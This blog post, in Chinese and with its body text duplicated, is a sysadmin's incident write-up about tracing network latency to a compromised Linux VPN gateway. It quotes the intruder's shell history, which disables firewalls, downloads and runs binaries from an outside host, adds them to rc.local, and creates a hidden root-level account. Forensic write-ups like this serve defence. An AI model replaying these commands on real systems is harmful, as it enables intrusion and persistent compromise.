Linux系統下的不速之客
2015/07/11 10:55
瀏覽123
迴響0
推薦0
引用0
今天上午有同事來告之，連接到某某系統的速度很慢，猜想是網絡問題，ping了一下發現到該系統的網絡速度很慢，延時從平時正常的10ms之內升到了40ms以上，而且丟包率高達20%，連接到該系統所在的網關上，ping並且trace了一下：
# ping 202.96.134.134
PING 202.96.134.134 (202.96.134.134) 56(84) bytes of data.
64 bytes from 202.96.134.134: icmp_seq=1 ttl=248 time=42.2 ms
64 bytes from 202.96.134.134: icmp_seq=2 ttl=248 time=43.9 ms
64 bytes from 202.96.134.134: icmp_seq=3 ttl=248 time=44.1 ms
64 bytes from 202.96.134.134: icmp_seq=4 ttl=248 time=43.1 ms
64 bytes from 202.96.134.134: icmp_seq=5 ttl=248 time=35.1 ms
64 bytes from 202.96.134.134: icmp_seq=9 ttl=248 time=40.2 ms
#tracert 202.96.134.134
traceroute to 202.96.134.134 (202.96.134.134), 30 hops max, 40 byte packets
1 (119.147.213.129) 42.809 ms 43.648 ms 43.634 ms
2 * * *
3 (183.60.20.1) 38.917 ms * *
4 * * *
5 (121.14.112.153) 39.185 ms 39.191 ms 39.185 ms
6 (183.56.65.29) 43.496 ms 44.249 ms 44.102 ms
7 (121.15.179.69) 43.044 ms 43.639 ms 40.546 ms
8 (119.145.55.194) 39.057 ms 39.087 ms 39.192 ms
9 (202.96.134.134) 42.739 ms 42.418 ms 42.442 ms
跟蹤結果如上所示，原來以為是IDC機房的問題，於是趕緊發郵件給機房網管人員，他們很快就回復了，說在他們網關上ping我們的服務器地址也有延時和丟包，建議我們檢查內部網絡問題。根據機房的反饋，看來網絡延時不是機房的原因，難道真是我們內網的問題嗎？
可惜我們內部沒有一個完整的系統和網絡監控平臺，所以服務器的運行狀況只能人工去檢查了，真正來說做運維的話是需要一個全面的網絡監控平臺來監控所有系統和網絡設備等資源，以便運維人員及時得到消息和進行緊急處理。可惜由於資源有限，公司遲遲沒有采購下來，我們也只能小米加步槍，將就將就了。
登錄到vCenter Server上，一臺臺檢查相關的物理機，希望能發現些蛛絲馬跡：終於功夫不負有心人，在容納所有網關虛擬機（是安裝了VPN軟件做網關使用的虛擬機）的物理主機上發現了異常情況，該物理主機上的的CPU占用很高，已經達到了60%了，而且網絡流量很大，超過了80Mbps,看來問題是出在這裏了。經一臺臺虛擬機檢查後，發現一臺**系統開發測試系統網關有異常，
從該網關的控制臺登錄進去，使用top命令查看linux的系統狀況，
看到該虛擬機的中cqzipudqhu進程的的CPU占用率很高，已經達到52%了，可以確定是該VPN網關的問題了，時間緊迫，沒有多余時間去檢查故障點了，幸好該VPN網關上沒有什麽很重要的服務，先關閉該網關看看情況如何。
效果是立竿見影！在該網關關機後，Ping 的網絡延時終於降了下來，於是可以確定是該網關了引起了某某系統的網絡問題。
現在知道故障在那裏就好辦了，於是將該VPN網關的外網連接斷開後，再開機，居然啟動不了，系統在加載服務那裏就停下裏了，錯誤提示是“crond服務已經啟動，不能運行**程序”，看樣子是某個程序和後臺服務沖突了！
只好嘗試手工啟動後臺服務來避免啟動失敗，在GRUB啟動界面後，按i進入服務啟動模式，試了好幾次，跳過了幾個開機自運行的服務和程序後，總算進入了系統。
經過仔細檢查，在rc.d下發現了幾個問題：
Rc.local啟動文件居然被改了！
more rc.local
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
#/etc/rc.d/init.d/webmin start
#/etc/rc.d/init.d/bridge-start
#/etc/rc.d/init.d/openvpn.init start
#echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
echo 1 > /proc/sys/net/ipv4/ip_forward
touch /var/lock/subsys/local
/bin/sshd
/bin/kusel
/bin/java
/bin/dyoen
./etc/getty
如上所試：
原來是這裏的問題啊！
應該是黑客來襲了！不然這麽會這樣？
黑客隱藏在哪裏了？
使用Lastlog發現了一些問題
Username Port From Latest
root pts/0 113.116.61.201 Wed May 13 17:47:01 +0800 2015
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
dbus **Never logged in**
rpm **Never logged in**
avahi **Never logged in**
mailnull **Never logged in**
smmsp **Never logged in**
ntp **Never logged in**
nscd **Never logged in**
vcsa **Never logged in**
rpc **Never logged in**
rpcuser **Never logged in**
sshd **Never logged in**
pcap **Never logged in**
haldaemon **Never logged in**
xfs **Never logged in**
gdm **Never logged in**
sabayon **Never logged in**
postgres pts/0 113.116.61.201 Wed May 13 17:47:01 +0800 2015
黑客創建了一個影子賬號postgres，應該是沒錯了
嘗試使用history查看命令歷史記錄，
終於發現了該黑客的蹤跡，嘿嘿，真的是逮個正著！
929 /etc/init.d/iptables stop
930 service iptables stop
931 SuSEfirewall2 stop
932 reSuSEfirewall2 stop
933 cd /bin
934 killall -9 sshpa kerne .sshd
935 rm -rf /bin/sshd
936 rm -rf /bin/kerne
937 rm -rf /root/sshd
938 rm -rf /root/kerne
939 wget -c http://61.147.107.*:8089/sshd
940 chmod 0777 sshd
941 ./sshd
942 echo "/bin/sshd">>/etc/rc.local
943 netstat -tnp
944 killall -9 .sshd
945 cd /etc
946 wget -c http://61.147.107.*:8089/poama
947 chmod 0777 poama
948 ./poama
949 cd /bin
950 wget -c http://61.147.107.*:8089/kusel
951 chmod 0777 kusel
952 ./kusel
953 wget -c http://61.147.107.*:8089/java
954 chmod 0777 java
955 ./java
956 echo "/bin/kusel">>/etc/rc.local
957 echo "/bin/java">>/etc/rc.local
958 cd /etc
959 wget -c http://61.147.107.*:8089/getty
960 wget -c http://61.147.107.*:8089/pyuut
961 chmod 0777 getty
962 ./getty
963 netstat -tnp
964 ps -A
965 useradd -u 0 -o -g root -G root -d /bin postgres
966 passwd postgres
967 passwd root
968 c2z27RK$,jP,
969 passwd root
970 uptime
971 last
972 netstat -tnp
973 cd /bin
974 wget -c http://61.147.107.*:8089/dyoen
975 chmod 0777 dyoen
976 ./dyoen
977 echo "/bin/dyoen">>/etc/rc.local
978 top
979 ifconfig | more
980 cd /etc/shorewall
981 ls
982 more rules
後面就沒什麽懸念了，真的是個狡猾的黑客！機關算盡，必有一疏，居然還是被我給逮住了
知道了黑客的動作，清除其放置的後臺程序就不是什麽難事了，
刪除文件，刪除服務，就不細說了。
你還別說，從黑客這裏還真是學到了不少的東西，看來處處留心皆學問啊！
# ping 202.96.134.134
PING 202.96.134.134 (202.96.134.134) 56(84) bytes of data.
64 bytes from 202.96.134.134: icmp_seq=1 ttl=248 time=42.2 ms
64 bytes from 202.96.134.134: icmp_seq=2 ttl=248 time=43.9 ms
64 bytes from 202.96.134.134: icmp_seq=3 ttl=248 time=44.1 ms
64 bytes from 202.96.134.134: icmp_seq=4 ttl=248 time=43.1 ms
64 bytes from 202.96.134.134: icmp_seq=5 ttl=248 time=35.1 ms
64 bytes from 202.96.134.134: icmp_seq=9 ttl=248 time=40.2 ms
#tracert 202.96.134.134
traceroute to 202.96.134.134 (202.96.134.134), 30 hops max, 40 byte packets
1 (119.147.213.129) 42.809 ms 43.648 ms 43.634 ms
2 * * *
3 (183.60.20.1) 38.917 ms * *
4 * * *
5 (121.14.112.153) 39.185 ms 39.191 ms 39.185 ms
6 (183.56.65.29) 43.496 ms 44.249 ms 44.102 ms
7 (121.15.179.69) 43.044 ms 43.639 ms 40.546 ms
8 (119.145.55.194) 39.057 ms 39.087 ms 39.192 ms
9 (202.96.134.134) 42.739 ms 42.418 ms 42.442 ms
跟蹤結果如上所示，原來以為是IDC機房的問題，於是趕緊發郵件給機房網管人員，他們很快就回復了，說在他們網關上ping我們的服務器地址也有延時和丟包，建議我們檢查內部網絡問題。根據機房的反饋，看來網絡延時不是機房的原因，難道真是我們內網的問題嗎？
可惜我們內部沒有一個完整的系統和網絡監控平臺，所以服務器的運行狀況只能人工去檢查了，真正來說做運維的話是需要一個全面的網絡監控平臺來監控所有系統和網絡設備等資源，以便運維人員及時得到消息和進行緊急處理。可惜由於資源有限，公司遲遲沒有采購下來，我們也只能小米加步槍，將就將就了。
登錄到vCenter Server上，一臺臺檢查相關的物理機，希望能發現些蛛絲馬跡：終於功夫不負有心人，在容納所有網關虛擬機（是安裝了VPN軟件做網關使用的虛擬機）的物理主機上發現了異常情況，該物理主機上的的CPU占用很高，已經達到了60%了，而且網絡流量很大，超過了80Mbps,看來問題是出在這裏了。經一臺臺虛擬機檢查後，發現一臺**系統開發測試系統網關有異常，
從該網關的控制臺登錄進去，使用top命令查看linux的系統狀況，
看到該虛擬機的中cqzipudqhu進程的的CPU占用率很高，已經達到52%了，可以確定是該VPN網關的問題了，時間緊迫，沒有多余時間去檢查故障點了，幸好該VPN網關上沒有什麽很重要的服務，先關閉該網關看看情況如何。
效果是立竿見影！在該網關關機後，Ping 的網絡延時終於降了下來，於是可以確定是該網關了引起了某某系統的網絡問題。
現在知道故障在那裏就好辦了，於是將該VPN網關的外網連接斷開後，再開機，居然啟動不了，系統在加載服務那裏就停下裏了，錯誤提示是“crond服務已經啟動，不能運行**程序”，看樣子是某個程序和後臺服務沖突了！
只好嘗試手工啟動後臺服務來避免啟動失敗，在GRUB啟動界面後，按i進入服務啟動模式，試了好幾次，跳過了幾個開機自運行的服務和程序後，總算進入了系統。
經過仔細檢查，在rc.d下發現了幾個問題：
Rc.local啟動文件居然被改了！
more rc.local
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
#/etc/rc.d/init.d/webmin start
#/etc/rc.d/init.d/bridge-start
#/etc/rc.d/init.d/openvpn.init start
#echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
echo 1 > /proc/sys/net/ipv4/ip_forward
touch /var/lock/subsys/local
/bin/sshd
/bin/kusel
/bin/java
/bin/dyoen
./etc/getty
如上所試：
原來是這裏的問題啊！
應該是黑客來襲了！不然這麽會這樣？
黑客隱藏在哪裏了？
使用Lastlog發現了一些問題
Username Port From Latest
root pts/0 113.116.61.201 Wed May 13 17:47:01 +0800 2015
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
dbus **Never logged in**
rpm **Never logged in**
avahi **Never logged in**
mailnull **Never logged in**
smmsp **Never logged in**
ntp **Never logged in**
nscd **Never logged in**
vcsa **Never logged in**
rpc **Never logged in**
rpcuser **Never logged in**
sshd **Never logged in**
pcap **Never logged in**
haldaemon **Never logged in**
xfs **Never logged in**
gdm **Never logged in**
sabayon **Never logged in**
postgres pts/0 113.116.61.201 Wed May 13 17:47:01 +0800 2015
黑客創建了一個影子賬號postgres，應該是沒錯了
嘗試使用history查看命令歷史記錄，
終於發現了該黑客的蹤跡，嘿嘿，真的是逮個正著！
929 /etc/init.d/iptables stop
930 service iptables stop
931 SuSEfirewall2 stop
932 reSuSEfirewall2 stop
933 cd /bin
934 killall -9 sshpa kerne .sshd
935 rm -rf /bin/sshd
936 rm -rf /bin/kerne
937 rm -rf /root/sshd
938 rm -rf /root/kerne
939 wget -c http://61.147.107.*:8089/sshd
940 chmod 0777 sshd
941 ./sshd
942 echo "/bin/sshd">>/etc/rc.local
943 netstat -tnp
944 killall -9 .sshd
945 cd /etc
946 wget -c http://61.147.107.*:8089/poama
947 chmod 0777 poama
948 ./poama
949 cd /bin
950 wget -c http://61.147.107.*:8089/kusel
951 chmod 0777 kusel
952 ./kusel
953 wget -c http://61.147.107.*:8089/java
954 chmod 0777 java
955 ./java
956 echo "/bin/kusel">>/etc/rc.local
957 echo "/bin/java">>/etc/rc.local
958 cd /etc
959 wget -c http://61.147.107.*:8089/getty
960 wget -c http://61.147.107.*:8089/pyuut
961 chmod 0777 getty
962 ./getty
963 netstat -tnp
964 ps -A
965 useradd -u 0 -o -g root -G root -d /bin postgres
966 passwd postgres
967 passwd root
968 c2z27RK$,jP,
969 passwd root
970 uptime
971 last
972 netstat -tnp
973 cd /bin
974 wget -c http://61.147.107.*:8089/dyoen
975 chmod 0777 dyoen
976 ./dyoen
977 echo "/bin/dyoen">>/etc/rc.local
978 top
979 ifconfig | more
980 cd /etc/shorewall
981 ls
982 more rules
後面就沒什麽懸念了，真的是個狡猾的黑客！機關算盡，必有一疏，居然還是被我給逮住了
知道了黑客的動作，清除其放置的後臺程序就不是什麽難事了，
刪除文件，刪除服務，就不細說了。
你還別說，從黑客這裏還真是學到了不少的東西，看來處處留心皆學問啊！
你可能會有興趣的文章：
限會員,要發表迴響,請先登入
